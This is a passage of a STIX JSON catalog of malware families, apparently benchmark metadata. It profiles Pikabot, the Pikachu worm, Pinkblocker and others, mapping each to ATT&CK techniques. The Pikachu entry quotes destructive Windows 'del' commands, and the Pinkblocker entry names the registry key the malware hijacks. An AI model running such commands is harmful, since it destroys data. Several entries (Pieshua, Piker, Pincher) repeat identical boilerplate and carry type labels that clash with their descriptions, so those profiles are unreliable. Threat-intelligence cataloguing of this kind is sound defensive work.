      "description": "Trojan:Win32/Pieshua is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pieshua</b><br>To an end-user, a Pieshua infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pieshua is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pieshua is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pieshua frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pieshua reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pieshua",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pieshua"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ad47f0f-b918-5ea7-9a73-04e07ec489ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7aeb1abe-b760-5f52-9904-f345509ef689",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pieshua exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10a7d6ff-e449-5604-a17f-8933824c7fbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7aeb1abe-b760-5f52-9904-f345509ef689",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pieshua exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae2986b9-696e-5523-8e59-72bccead3fbb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7aeb1abe-b760-5f52-9904-f345509ef689",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pieshua exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbdf57ae-41c2-5104-8501-93a8fef41c6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7aeb1abe-b760-5f52-9904-f345509ef689",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pieshua exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d96da09a-9cbd-55cc-9dbc-9c459c221943",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7aeb1abe-b760-5f52-9904-f345509ef689",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pieshua exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--49b56440-147b-5cc3-abd0-229c90995764",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pikabot",
      "description": "Pikabot is an evasive, modular malware loader that emerged in early 2023, widely recognized by threat intelligence analysts as one of the primary successors to Qakbot following Operation Duck Hunt. Operated by sophisticated threat actors associated with initial access broker TA577, Pikabot functions as a two-stage delivery mechanism designed to establish clandestine persistence, profile enterprise network environments, and inject secondary payloads including Cobalt Strike, Black Basta, and enterprise ransomware. Pikabot features extensive anti-analysis defenses, including anti-debug checks, anti-virtual machine routines, and API hashing via custom MurmurHash variants. It verifies that system language settings do not match Eastern European or Russian locales before proceeding with payload decryption. Distribution occurs primarily through hijacked email thread-injection campaigns (malicious reply-chain phishing) delivering password-protected ZIP archives containing weaponized JavaScript, VBScript, or Microsoft Software Installer (.msi) droppers that execute via rundll32.exe. In May 2024, Pikabot infrastructure was targeted during Europol's Operation Endgame, disrupting international command nodes across Germany, the Netherlands, and Ukraine. (Observed samples in benchmark: 850)",
      "is_family": true,
      "malware_types": [
        "downloader",
        "dropper"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Pikabot",
        "pika_bot",
        "Win32/Pikabot",
        "Trojan.Pikabot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pikabot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pikabot"
        }
      ],
      "labels": [
        "loader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94abfebb-682a-5d00-a3d2-289aaea2836e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49b56440-147b-5cc3-abd0-229c90995764",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pikabot exhibits technique T1566.001 (Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31bfedfa-4893-50be-8d8b-cae79b3d73cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49b56440-147b-5cc3-abd0-229c90995764",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pikabot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f987040f-6834-5d30-a64d-423978d14edd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49b56440-147b-5cc3-abd0-229c90995764",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pikabot exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8eaefbb3-d683-51c4-8eef-bffd111fe35b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49b56440-147b-5cc3-abd0-229c90995764",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pikabot exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3681af3a-b6d4-544b-b988-98592d3e1fea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49b56440-147b-5cc3-abd0-229c90995764",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pikabot exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecd287eb-7e67-52f2-a279-1978c9e53ee3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49b56440-147b-5cc3-abd0-229c90995764",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pikabot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eb1b6e5b-29d5-5ffb-b88f-3b9140c48231",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pikachu",
      "description": "<h3>Executive Summary</h3>\nThe Pikachu Worm (often detected as W32/Pikachu.worm) is a classic, early-2000s mass-mailing computer worm designed to appeal to children. Masquerading as a harmless, animated greeting card featuring the popular Pok\u00e9mon character, its actual payload was highly destructive, attempting to completely delete core Windows operating system directories upon execution.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPikachu spread almost exclusively via email. It arrived in the victim's inbox with the subject line \"Pikachu Pokemon\" and a body text claiming \"Pikachu is your friend.\" The attached malicious executable was typically named `pikachuPokemon.exe`.\n\nUpon execution, the worm operated in two distinct phases:\n<ul>\n<li><strong>Propagation (Mass Mailing):</strong> Like many worms of its era (e.g., ILOVEYOU), Pikachu immediately accessed the victim's Microsoft Outlook Address Book. It then utilized Outlook's COM interface to automatically email a copy of itself to every contact in the address book, ensuring rapid, exponential spread across networks.</li>\n<li><strong>Destructive Payload:</strong> The worm's secondary function was system vandalism. It modified the `autoexec.bat` file (a critical startup script in older Windows versions like 95, 98, and ME). It added the commands `del C:\\WINDOWS\\*.* /y` and `del C:\\WINDOWS\\SYSTEM\\*.* /y`, which would attempt to delete the entire Windows directory upon the next system reboot.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile the Pikachu worm is entirely obsolete and unable to function on modern Windows operating systems (due to changes in architecture and the deprecation of `autoexec.bat`), it is historically significant. At the time of its release, it caused widespread panic, particularly in educational institutions, due to its child-friendly disguise and destructive payload.\n\n<h3>Historical Remediation</h3>\n<ul>\n<li><strong>Payload Interception:</strong> Interestingly, the worm contained a flaw. It often prompted the user with a standard Windows confirmation dialog box (\"Are you sure you want to delete these files?\") before executing the destructive `del` commands, allowing alert users to cancel the payload.</li>\n<li><strong>Registry and File Cleanup:</strong> Remediation involved booting into Safe Mode, deleting the malicious `pikachuPokemon.exe` file, and manually editing the `autoexec.bat` file to remove the destructive commands before rebooting normally.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "W32/Pikachu.worm",
        "Worm.Pikachu",
        "Pikachu.exe"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pikachu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pikachu"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d195da46-01f5-52b8-9d0a-e95ad2f3757d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb1b6e5b-29d5-5ffb-b88f-3b9140c48231",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pikachu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a127a5d2-b6a1-5a36-8ea0-a39ab2f29923",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb1b6e5b-29d5-5ffb-b88f-3b9140c48231",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pikachu exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1ae49ce-a62a-56b7-8ca1-0161e27ec161",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb1b6e5b-29d5-5ffb-b88f-3b9140c48231",
      "target_ref": "attack-pattern--9a4d8a61-c2a1-5639-9950-ed28aaba5705",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pikachu exhibits technique T1114.003 (Email Forwarding Rule)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2bdf6933-4986-5892-8b2e-5d831dbe6607",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Piker",
      "description": "Trojan:Win32/Piker is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Piker</b><br>To an end-user, a Piker infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Piker is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Piker is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Piker frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Piker reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Piker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/piker"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a3dc165-5ff7-552c-a244-56822a21b403",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2bdf6933-4986-5892-8b2e-5d831dbe6607",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Piker exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45991799-191f-5867-ae5d-0794acd33e74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2bdf6933-4986-5892-8b2e-5d831dbe6607",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Piker exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1ef5eb0-b243-593f-af05-5b91057b740f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2bdf6933-4986-5892-8b2e-5d831dbe6607",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Piker exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2d7e9f8-7dca-51ce-bf4a-5a1ef7b5b18f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2bdf6933-4986-5892-8b2e-5d831dbe6607",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Piker exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58b5371f-fc28-5ab1-9285-52666987d00a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2bdf6933-4986-5892-8b2e-5d831dbe6607",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Piker exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ae2ac919-8fb8-5157-ab0c-b43af079b17b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pincav",
      "description": "Pincav (cataloged across antivirus vendors under signatures including Adware:Win32/Pincav, PUA:Win32/Pincav, and Adware.Pincav) is an aggressive adware and software bundling framework active since 2014. Distributed primarily through third-party freeware download mirrors, pirated media packages, and deceptive file-conversion utilities, Pincav integrates deeply into the host Windows environment. Once installed, Pincav registers persistent autostart services and hooks major web browsers (including Google Chrome, Mozilla Firefox, and Microsoft Edge). It modifies browser shortcuts, overrides default search engines, injects unsolicited affiliate banner advertisements and sponsored links directly into search results, and redirects browsing sessions to high-risk advertising syndication networks. (Observed samples in benchmark: 35)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Pincav",
        "PUA:Win32/Pincav",
        "Trojan.Win32.Pincav",
        "Win32/Pincav",
        "Adware.Pincav",
        "Adware:Win32/Pincav.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pincav",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pincav"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1e2f9bc1-01a4-55a8-99f4-10319b2cdd01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pincher",
      "description": "Trojan:Win32/Pincher is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pincher</b><br>To an end-user, a Pincher infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pincher is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pincher is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pincher frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pincher reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pincher",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pincher"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d99d0d3-b226-57f3-8241-9d85a7a5ffc4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e2f9bc1-01a4-55a8-99f4-10319b2cdd01",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pincher exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5114cf8-1a05-5cc7-a915-716cffd2289b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e2f9bc1-01a4-55a8-99f4-10319b2cdd01",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pincher exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a108d865-6053-5e6d-8102-b95afc2414cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e2f9bc1-01a4-55a8-99f4-10319b2cdd01",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pincher exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc29842d-d136-5f3b-9e2e-f1ba607b174d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e2f9bc1-01a4-55a8-99f4-10319b2cdd01",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pincher exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7d81e54-588d-53d8-ae5c-e8e35edd8196",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e2f9bc1-01a4-55a8-99f4-10319b2cdd01",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pincher exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--420c223c-c1b4-5733-9838-f1eb4691abb3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pinkblocker",
      "description": "Ransom:Win32/Pinkblocker is a highly disruptive, screen-locking extortion trojan. Unlike cryptographic ransomware (which encrypts files), Pinkblocker operates by aggressively hijacking the Windows user interface, preventing all interaction with the desktop, taskbar, and applications, and demanding a ransom payment to restore access to the computer.<br><br><b>Understanding Pinkblocker (Screen Locker)</b><br>To an end-user, the infection is terrifying: upon booting the computer or executing a malicious file, the screen goes entirely pink (or displays a threatening ransom note), and neither the mouse nor keyboard shortcuts (like Ctrl+Alt+Del) seem to function. For a security analyst, Pinkblocker is generally considered a lower-tier threat than crypto-ransomware because the underlying user data (`T1486`) is not actually destroyed or encrypted; the malware merely blocks access to the operating system shell (`T1491.001`).<br><br><b>Execution and Locking Mechanics</b><br>Pinkblocker is typically distributed via malicious links, fake software cracks, or malspam (`T1204.002`). Upon execution, it establishes intense persistence, often overwriting the default Windows Shell (`explorer.exe`) in the registry (`HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell`) (`T1547.004`). When the user logs in, instead of loading the desktop, Windows loads the Pinkblocker interface. The malware frequently utilizes hooking techniques (`T1056.002` - applied to input blocking) to intercept and suppress critical keystrokes like the Windows key, Alt+Tab, and Ctrl+Alt+Del, locking the user into the ransom screen.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a total loss of productivity and severe denial of service to the affected endpoint, though the data remains intact. Host-based IoCs include the modification of the `Winlogon\\Shell` registry key, the presence of the blocking executable in the Startup folder, and the overt, inescapable pink screen demanding payment. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pinkblocker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pinkblocker"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb6e2413-60b3-548c-9a0d-f3abd1a1c5b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--420c223c-c1b4-5733-9838-f1eb4691abb3",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pinkblocker exhibits technique T1491.001 (Defacement: Internal Defacement (Screen locking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4294c005-2af3-5671-9a34-ed8af9dcac74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--420c223c-c1b4-5733-9838-f1eb4691abb3",
      "target_ref": "attack-pattern--94721101-d9aa-5afe-bf2a-f61447bdc809",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pinkblocker exhibits technique T1547.004 (Boot or Logon Autostart Execution: Winlogon Helper DLL (Shell Hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b90f49f9-b3db-57a0-8143-e8848adac4ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--420c223c-c1b4-5733-9838-f1eb4691abb3",
      "target_ref": "attack-pattern--a756c800-cad0-5d72-8bcc-aef0617822bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pinkblocker exhibits technique T1056.002 (Input Capture: GUI Input Capture (Blocking keyboard shortcuts))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1174b511-0000-5afd-97cc-c0e0faa39975",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pintu",
